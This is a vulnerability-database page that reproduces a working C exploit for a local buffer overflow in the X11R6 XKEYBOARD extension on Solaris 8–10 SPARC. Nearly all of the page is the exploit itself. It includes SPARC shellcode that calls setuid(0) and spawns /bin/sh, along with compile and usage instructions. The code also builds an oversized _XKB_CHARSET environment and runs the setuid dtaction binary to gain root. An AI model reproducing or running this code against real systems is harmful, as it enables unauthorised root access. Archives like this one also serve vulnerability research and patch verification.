Lucene search
K

X11R6 <= 6.4 XKEYBOARD Local Buffer Overflow Exploit (solaris/sparc)

🗓️ 27 Oct 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

X11R6 <= 6.4 XKEYBOARD Local Buffer Overflow Exploit for Solaris SPARC systems.

Code

                                                /*
 *  X11R6 XKEYBOARD extension Strcmp() for Sun Solaris 8 9 10 SPARC
 *  Copyright 2006 RISE Security &lt;[email protected]&gt;,
 *  Ramon de Carvalho Valle &lt;[email protected]&gt;
 *  ExpCode.com
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
 *
 */

/*
 *  Compile with the following command.
 *  $ (g)cc -Wall -ldl -o sol-sparc-xkb sol-sparc-xkb.c
 *
 *  Set the DISPLAY environment variable to a X Window System server with
 *  XKEYBOARD extension enabled.
 *  $ ./sol-sparc-xkb sprintf|strcpy xserver:display
 *
 */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;dlfcn.h&gt;
#include &lt;link.h&gt;
#include &lt;sys/systeminfo.h&gt;
#include &lt;procfs.h&gt;

#define BUFSIZE 13+256+64+2+1
#define FRMSIZE 64+3+1
#define ADRSIZE 2047+1
#define SHLSIZE strlen(shellcode)+1
#define DSPSIZE strlen(display)+1
#define ARGSIZE 7+1
#define ENVSIZE BUFSIZE+FRMSIZE+ADRSIZE+SHLSIZE+DSPSIZE
#define PFMSIZE strlen(platform)+1
#define PRGSIZE 20+1

#define PAD(a,b,c) \
    a+=((b+c)%2)?(((a%8)&gt;4)?(16-(a%8)):(8-(a%8))):((a%8)?(12-(a%8)):4);

char shellcode[]=           /*  60 bytes                          */
    &quot;\x90\x1a\x40\x09&quot;      /*  xor     %o1,%o1,%o0               */
    &quot;\x82\x10\x20\x17&quot;      /*  mov     0x17,%g1                  */
    &quot;\x91\xd0\x20\x08&quot;      /*  ta      0x08                      */
    &quot;\x21\x0b\xd8\x9a&quot;      /*  sethi   %hi(0x2f62696e),%l0       */
    &quot;\xa0\x14\x29\x6e&quot;      /*  or      %l0,0x96e,%l0             */
    &quot;\x23\x0b\xdc\xda&quot;      /*  sethi   %hi(0x2f736800),%l1       */
    &quot;\x90\x23\xa0\x08&quot;      /*  sub     %sp,0x08,%o0              */
    &quot;\x92\x23\xa0\x10&quot;      /*  sub     %sp,0x10,%o1              */
    &quot;\x94\x1a\x80\x0a&quot;      /*  xor     %o2,%o2,%o2               */
    &quot;\xe0\x23\xbf\xf8&quot;      /*  st      %l0,[%sp-0x08]            */
    &quot;\xe2\x23\xbf\xfc&quot;      /*  st      %l1,[%sp-0x04]            */
    &quot;\xd0\x23\xbf\xf0&quot;      /*  st      %o0,[%sp-0x10]            */
    &quot;\xc0\x23\xbf\xf4&quot;      /*  st      %g0,[%sp-0x0c]            */
    &quot;\x82\x10\x20\x3b&quot;      /*  mov     0x3b,%g1                  */
    &quot;\x91\xd0\x20\x08&quot;      /*  ta      0x08                      */
;

void *find_symbol(const char *symbol){
    void *handle,*addr;
    char *err;

    if((handle=dlmopen(LM_ID_LDSO,NULL,RTLD_LAZY))==NULL){
        fprintf(stderr,&quot;%s\n&quot;,dlerror());
        exit(EXIT_FAILURE);
    }

    dlerror();
    addr=dlsym(handle,symbol);
    if((err=dlerror())!=NULL){
        fprintf(stderr,&quot;%s\n&quot;,err);
        exit(EXIT_FAILURE);
    }

    dlclose(handle);

    return addr;
}

void *find_rwxmem(void){
    FILE *fp;
    prmap_t map;
    int flags;
    void *addr;

    if((fp=fopen(&quot;/proc/self/map&quot;,&quot;rb&quot;))==NULL){
        perror(&quot;fopen&quot;);
        exit(EXIT_FAILURE);
    }

    while(fread(&amp;map,sizeof(map),1,fp)){
        flags=map.pr_mflags;

        if((flags&amp;(MA_READ|MA_WRITE|MA_EXEC))==(MA_READ|MA_WRITE|MA_EXEC)){
            if(flags&amp;MA_STACK) continue;
            addr=(void *)map.pr_vaddr;
        }
    }

    fclose(fp);

    return addr;
}

int main(int argc,char **argv){
    char buf[8192],display[256],platform[256],addr[8][4],*envp[6],*p;
    int base,offset,i,flag=0;

    printf(&quot;X11R6 XKEYBOARD extension Strcmp() for Sun Solaris 8 9 10 SPARC\n&quot;);
    printf(&quot;Copyright 2006 RISE Security &lt;[email protected]&gt;\n\n&quot;);

    if(argc!=3){
        fprintf(stderr,&quot;usage: %s sprintf|strcpy xserver:display\n&quot;,argv[0]);
        exit(EXIT_FAILURE);
    }

    if(!strcmp(argv[1],&quot;sprintf&quot;)) flag=1;
    if(!strcmp(argv[1],&quot;strcpy&quot;)) flag=2;

    if(!flag){
        fprintf(stderr,&quot;usage: %s sprintf|strcpy xserver:display\n&quot;,argv[0]);
        exit(EXIT_FAILURE);
    }

    snprintf(display,sizeof(display),&quot;DISPLAY=%s&quot;,argv[2]);

    if(sysinfo(SI_PLATFORM,platform,sizeof(platform))==-1){
        perror(&quot;sysinfo&quot;);
        exit(EXIT_FAILURE);
    }

    base=((int)argv[0]|0xffff);
    base++;

    offset=ARGSIZE+ENVSIZE+PFMSIZE+PRGSIZE;
    PAD(offset,1,sizeof(envp)-1);

    *((int *)addr[0])=base-offset+ARGSIZE+BUFSIZE;
    *((int *)addr[1])=base-offset+ARGSIZE+BUFSIZE+FRMSIZE;
    *((int *)addr[2])=base-offset+ARGSIZE+BUFSIZE+FRMSIZE+ADRSIZE;

    switch(flag){
    case 1: *((int *)addr[3])=(int)find_symbol(&quot;sprintf&quot;)-4; break;
    case 2: *((int *)addr[3])=(int)find_symbol(&quot;strcpy&quot;)-4;
    }

    *((int *)addr[4])=(int)find_rwxmem()+4;
    *((int *)addr[5])=*((int *)addr[4])-8;

    p=buf;
    sprintf(p,&quot;_XKB_CHARSET=&quot;);
    p=buf+13;
    for(i=0;i&lt;256;i++) *p++='A';
    for(i=0;i&lt;66;i++) *p++=addr[1][i%4];
    *p='\0';

    memcpy(buf+13+256+56,addr[0],4);
    memcpy(buf+13+256+60,addr[3],4);

    p=buf+1024;;
    for(i=0;i&lt;(FRMSIZE-1);i++) *p++=addr[1][i%4];
    *p='\0';

    memcpy(buf+1024+32,addr[4],4);
    memcpy(buf+1024+36,addr[2],4);
    memcpy(buf+1024+60,addr[5],4);

    p=buf+2048;
    for(i=0;i&lt;(ADRSIZE-1);i++) *p++=addr[1][i%4];
    *p='\0';

    envp[0]=&amp;buf[0];
    envp[1]=&amp;buf[1024];
    envp[2]=&amp;buf[2048];
    envp[3]=shellcode;
    envp[4]=display;
    envp[5]=NULL;

    execle(&quot;/usr/dt/bin/dtaction&quot;,&quot;AAAAAAA&quot;,0,envp);

    exit(EXIT_FAILURE);
}


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Oct 2006 00:00Current
7.1High risk
Vulners AI Score7.1
19